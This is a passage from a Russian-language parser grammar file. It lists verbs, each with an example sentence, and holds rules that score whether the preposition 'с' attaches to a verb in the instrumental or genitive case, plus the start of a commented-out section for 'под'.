глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
